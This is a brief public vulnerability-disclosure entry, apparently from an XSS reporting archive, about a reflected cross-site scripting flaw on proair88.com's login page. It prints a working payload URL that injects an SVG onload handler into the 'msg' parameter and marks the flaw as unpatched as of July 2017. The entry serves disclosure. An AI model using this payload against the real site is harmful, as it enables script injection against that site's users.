proair88.com XSS vulnerability

Vulnerable URL: http://www.proair88.com/common/login.jsp?msg=Error!%22%3E%3Csvg/onload=confirm%28/xssposed/%29// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19927379 Google...